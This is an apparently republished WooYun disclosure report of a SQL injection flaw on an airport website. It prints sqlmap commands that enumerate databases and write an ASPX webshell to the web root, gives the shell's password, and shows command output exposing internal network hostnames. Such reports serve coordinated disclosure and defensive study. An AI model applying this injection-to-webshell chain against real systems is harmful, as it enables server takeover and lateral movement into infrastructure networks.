某机场SQL注入漏洞可直接控制服务器（内网主机信息泄漏）

2015年7月7日14:57:11评论350 views字数 238阅读0分47秒阅读模式

摘要

2014-10-13：细节已通知厂商并且等待厂商处理中
2014-10-16：厂商已经确认，细节仅向厂商公开
2014-10-26：细节向核心白帽子及相关领域专家公开
2014-11-05：细节向普通白帽子公开
2014-11-15：细节向实习白帽子公开
2014-11-25：细节向公众公开

漏洞概要关注数(11) 关注此漏洞

缺陷编号： WooYun-2014-78996

漏洞标题：某机场SQL注入漏洞可直接控制服务器（内网主机信息泄漏）

漏洞作者： poepada

提交时间： 2014-10-13 17:15

公开时间： 2014-11-25 17:20

漏洞类型： SQL注射漏洞

危害等级：高

自评Rank： 15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：无

1人收藏

漏洞详情

披露状态：

简要描述：

某国际机场官网,存在注入漏洞,可内网。

详细说明：

漏洞连接 http://**.**.**.**/DLAirWeb/DLAPFlight.aspx?flightno=aa&No=1

使用SQLMAP可列裤

code 区域

sqlmap -u "http://**.**.**.**/DLAirWeb/DLAPFlight.aspx?flightno=aa&No=1" -p flightno --dbs
 available databases [12]:
 [*] AirportWeb
 [*] back
 [*] dloa
 [*] lumigent
 [*] master
 [*] model
 [*] msdb
 [*] Northwind
 [*] pubs
 [*] tempdb
 [*] test

使用数据库写文件可上传SHELL

sqlmap -u "http://**.**.**.**/DLAirWeb/DLAPFlight.aspx?flightno=aa&No=1" -p flightno --file-write /home/3 --file-dest "d://DLAirportWeb//DLAirWeb//3_33.aspx"

SHEL连接：http://**.**.**.**/DLAirWeb/3_33.aspx 密码：chopper221

SHELL可执行命令

code 区域

[*] 基本信息 [ C:D:F: ]
 
 D:/DLAirportWeb/dlairweb/> whoami
 nt authority/network service
 
 
 D:/DLAirportWeb/DLAirWeb/> net view
 鏈嶅姟鍣ㄥ悕绉?           娉ㄩ噴
 
 -------------------------------------------------------------------------------
 //1-PC                                                                         
 //20100525-1005                                                                
 //2OPUY9UBNK5UXWM                                                              
 //360SERVER                                                                    
 //66ZP90G7FBG8YPU                                                              
 //7GXV04SV3BWJK3Z                                                              
 //7HPT4J0MR5CKWSG                                                              
 //96600WBFLIGHT                                                                
 //987EE5E7E53648E                                                              
 //AA                                                                           
 //ADMIN-B2DE0FF49                                                              
 //ADMIN-JQSYP2SQY                                                              
 //AIRPORT                                                                      
 //ARCHIVES                                                                     
 //BEM4O69ZXSTSXXW                                                              
 //BGL-960B761EFA5                                                              
 //CARGO                                                                        
 //CARGOITDEP                                                                   
 //CI2HPOF8ARDXZYO                                                              
 //CT0JSHMM73XFBRE                                                              
 //CUSTOM                                                                       
 //DEPOA                                                                        
 //DLD                                                                          
 //EDISON100                                                                    
 //FEEYO                feeyo                                                   
 //GJCG01                                                                       
 //GJCG02                                                                       
 //GJJG01                                                                       
 //GJJG02                                                                       
 //GNJZ                                                                         
 //GNTHD                                                                        
 //HGHZSERVER                                                                   
 //HY_CX                                                                        
 //HYBG                                                                         
 //IMCCONTROL                                                                   
 //IMCLOG                                                                       
 //JWKAOQIN                                                                     
 //KT1UFQKYWSPLWVO                                                              
 //LE22AF7DA4E                                                                  
 //LENOSYF                                                                      
 //LENOV07916748                                                                
 //LENOVO-47F90FDF                                                              
 //LENOVO-5680C94B                                                              
 //LENOVO-PC                                                                    
 //LENOVO1-PC                                                                   
 //LENOVO10-PC                                                                  
 //LENOVO2-PC                                                                   
 //LENOVO5-PC                                                                   
 //LS-QVL286            LinkStation                                             
 //MAIL                                                                         
 //MESSAGE                                                                      
 //MICROSOF-D901E2                                                              
 //OASVR                OA-SERVER                                               
 //PC-201207131503                                                              
 //PC-20140331PPSV                                                              
 //QT-200601010056                                                              
 //QT-201206150930                                                              
 //QT-201211230903                                                              
 //QT-201302181438                                                              
 //QT-201310111546      ssss                                                    
 //QT-201310141445                                                              
 //QTY76N00FLRD8MX                                                              
 //SANGFORDATA                                                                  
 //SCENETRAFFIC                                                                 
 //SERVERBACKUP                                                                 
 //SQLSERVER21                                                                  
 //SQLSERVER26                                                                  
 //TELECOMMAS                                                                   
 //TEST123                                                                      
 //TIMES                                                                        
 //VIDEOSERV                                                                    
 //WIN-AT5K8DB0UHT                                                              
 //WIN-HCB7R4E68BG                                                              
 //WINDOWS-15H6MJC                                                              
 //WINDOWS-TF9BORG                                                              
 //WINDOWS-TKPJ81M                                                              
 //WWW-2C16E85739D                                                              
 //WWW-8D97D70DD4F                                                              
 //WWW-94C80C4484B                                                              
 //WXLT_MAS01                                                                   
 //XTGCK                                                                        
 //XZ-20140903DWDC                                                              
 //YXWB7G9X984EB83                                                              
 鍛戒护鎴愬姛瀹屾垚銆?

SHELL权限也很大。

内网机器很多。可再次进行内网渗透。这里就不搞了。

漏洞证明：

修复方案：

对提交参数进行过滤。

版权声明：转载请注明来源 poepada@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-10-16 09:14

厂商回复：

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2014-10-15 17:05 | X-Power ( 实习白帽子 | Rank:35 漏洞数:3 | 没事来打酱油)

0

能控制飞机端么！

1# 回复此人
2014-10-27 10:29 | Mxx ( 路人 | Rank:0 漏洞数:2 | 没有)

0

能发射导弹么？

2# 回复此人
2014-11-25 17:23 | 写个七 ( 路人 | Rank:4 漏洞数:1 | 一点一点积累。)

1

@Mxx @X-Power 能的哈哈

3# 回复此人

漏洞概要 关注数(11) 关注此漏洞